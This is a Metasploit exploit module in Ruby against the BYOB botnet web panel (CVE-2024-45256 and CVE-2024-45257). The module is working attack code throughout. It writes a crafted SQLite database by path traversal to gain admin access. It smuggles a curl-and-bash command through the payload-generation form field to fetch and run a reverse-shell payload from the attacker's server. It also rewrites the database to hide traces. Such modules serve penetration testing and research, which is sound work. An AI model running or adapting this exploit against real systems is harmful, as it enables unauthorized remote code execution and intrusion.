##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sqlite3'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)',
'Description' => %q{
This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:
1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.
2. CVE-2024-45257: Authenticated command injection in the payload generation page.
These vulnerabilities remain unpatched.
},
'Author' => [
'chebuya', # Discoverer and PoC
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-45256'],
['CVE', '2024-45257'],
['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/']
],
'Platform' => %w[unix linux],
'Arch' => %w[ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Privileged' => true
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'DisclosureDate' => '2024-08-15',
'DefaultTarget' => 0,
'DefaultOptions' => { 'SRVPORT' => 5000 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'Username for new admin', 'admin']),
OptString.new('PASSWORD', [false, 'Password for new admin', nil])
]
)
end
def primer
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
print_status('Payload is ready at /')
end
def on_request_uri_payload(cli, request)
handle_request(cli, request, payload.encoded)
end
def handle_request(cli, request, response_payload)
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
case request.uri
when '/'
print_status("Sending response to #{cli.peerhost} for /")
send_response(cli, response_payload)
else
print_error("Request for unknown resource: #{request.uri}")
send_not_found(cli)
end
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true
})
if res
doc = res.get_html_document
unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet')
return CheckCode::Safe('The target does not appear to be BYOB.')
end
else
return CheckCode::Unknown('The target did not respond to the initial check.')
end
print_good('The target appears to be BYOB.')
random_data = Rex::Text.rand_text_alphanumeric(32)
random_filename = Rex::Text.rand_text_alphanumeric(16)
random_owner = Rex::Text.rand_text_alphanumeric(8)
random_module = Rex::Text.rand_text_alphanumeric(6)
random_session = Rex::Text.rand_text_alphanumeric(6)
form_data = {
'data' => random_data,
'filename' => random_filename,
'type' => 'txt',
'owner' => random_owner,
'module' => random_module,
'session' => random_session
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => form_data,
'keep_cookies' => true
})
if res&.code == 500
return CheckCode::Vulnerable
else
case res&.code
when 200
return CheckCode::Safe
when nil
return CheckCode::Unknown('The target did not respond.')
else
return CheckCode::Unknown("The target responded with HTTP status #{res.code}")
end
end
end
def get_csrf(path)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path),
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res
csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text
fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil?
csrf_token
end
def register_user(username, password)
csrf_token = get_csrf('register')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'register'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'csrf_token' => csrf_token,
'username' => username,
'password' => password,
'confirm_password' => password,
'submit' => 'Sign Up'
},
'keep_cookies' => true
})
if res.nil?
fail_with(Failure::UnexpectedReply, 'No response from the server.')
elsif res.code == 302
print_good('Registered user!')
else
fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}")
end
end
def login_user(username, password)
csrf_token = get_csrf('login')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'csrf_token' => csrf_token,
'username' => username,
'password' => password,
'submit' => 'Log In'
},
'keep_cookies' => true
})
if res.nil?
fail_with(Failure::UnexpectedReply, 'No response from the server.')
elsif res.code == 302
print_good('Logged in successfully!')
else
fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}")
end
end
def generate_malicious_db
mem_db = SQLite3::Database.new(':memory:')
mem_db.execute <<-SQL
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(32) NOT NULL,
password VARCHAR(60) NOT NULL,
joined DATETIME NOT NULL,
bots INTEGER,
PRIMARY KEY (id),
UNIQUE (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE session (
id INTEGER NOT NULL,
uid VARCHAR(32) NOT NULL,
online BOOLEAN NOT NULL,
joined DATETIME NOT NULL,
last_online DATETIME NOT NULL,
public_ip VARCHAR(42),
local_ip VARCHAR(42),
mac_address VARCHAR(17),
username VARCHAR(32),
administrator BOOLEAN,
platform VARCHAR(5),
device VARCHAR(32),
architecture VARCHAR(2),
latitude FLOAT,
longitude FLOAT,
new BOOLEAN NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (uid),
UNIQUE (uid),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE payload (
id INTEGER NOT NULL,
filename VARCHAR(34) NOT NULL,
operating_system VARCHAR(3),
architecture VARCHAR(14),
created DATETIME NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (id),
UNIQUE (filename),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE exfiltrated_file (
id INTEGER NOT NULL,
filename VARCHAR(4096) NOT NULL,
session VARCHAR(15) NOT NULL,
module VARCHAR(15) NOT NULL,
created DATETIME NOT NULL,
owner VARCHAR(120) NOT NULL,
PRIMARY KEY (id),
UNIQUE (filename),
FOREIGN KEY(owner) REFERENCES user (username)
);
SQL
mem_db.execute <<-SQL
CREATE TABLE task (
id INTEGER NOT NULL,
uid VARCHAR(32) NOT NULL,
task TEXT,
result TEXT,
issued DATETIME NOT NULL,
completed DATETIME,
session VARCHAR(32) NOT NULL,
PRIMARY KEY (id),
UNIQUE (uid),
FOREIGN KEY(session) REFERENCES session (uid)
);
SQL
base64_data = Tempfile.open('database.db') do |file|
src_db = SQLite3::Database.new(file.path)
backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main')
backup.step(-1)
backup.finish
binary_data = File.binread(file.path)
Rex::Text.encode_base64(binary_data)
end
base64_data
end
def upload_database_multiple_paths
successful_paths = []
filepaths = [
'/proc/self/cwd/buildyourownbotnet/database.db',
'/proc/self/cwd/../buildyourownbotnet/database.db',
'/proc/self/cwd/../../../../buildyourownbotnet/database.db',
'/proc/self/cwd/instance/database.db',
'/proc/self/cwd/../../../../instance/database.db',
'/proc/self/cwd/../instance/database.db'
]
filepaths.each do |filepath|
form_data = {
'data' => @encoded_db,
'filename' => filepath,
'type' => 'txt',
'owner' => Faker::Internet.username,
'module' => Faker::App.name.downcase,
'session' => Faker::Alphanumeric.alphanumeric(number: 8)
}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => form_data,
'keep_cookies' => true
)
successful_paths << filepath if res&.code == 200
end
successful_paths
end
def on_new_session(session)
if session.type == 'meterpreter'
binary_content = Rex::Text.decode_base64(@encoded_db)
print_status('Restoring the database via Meterpreter to avoid leaving traces.')
successful_restore = false
@successful_paths.each do |remote_path|
remote_file = session.fs.file.new(remote_path, 'wb')
remote_file.syswrite(binary_content)
remote_file.close
successful_restore = true
end
if successful_restore
print_good('Database has been successfully restored to its clean state.')
else
print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.')
end
else
print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.')
end
end
def exploit
# Start necessary services and perform initial setup
start_service
primer
# Define or generate admin credentials
username = datastore['USERNAME'] || 'admin'
password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)
# Generate and upload the malicious SQLite database
print_status('Generating malicious SQLite database.')
@encoded_db = generate_malicious_db
@successful_paths = upload_database_multiple_paths
if @successful_paths.empty?
fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths')
else
print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}")
end
# Register the new admin user
print_status("Registering a new admin user: #{username}:#{password}")
register_user(username, password)
# Log in with the newly created admin user
print_status('Logging in with the new admin user.')
login_user(username, password)
# Prepare the malicious payload and inject it via command injection
print_status('Injecting payload via command injection.')
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}"
payload_data = {
'format' => 'exe',
'operating_system' => "nix$(#{malicious_filename})",
'architecture' => 'amd64'
}
# Send the command injection request
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => payload_data,
'keep_cookies' => true
}, 5)
# Keep the web server running to maintain the service
service.wait
end
end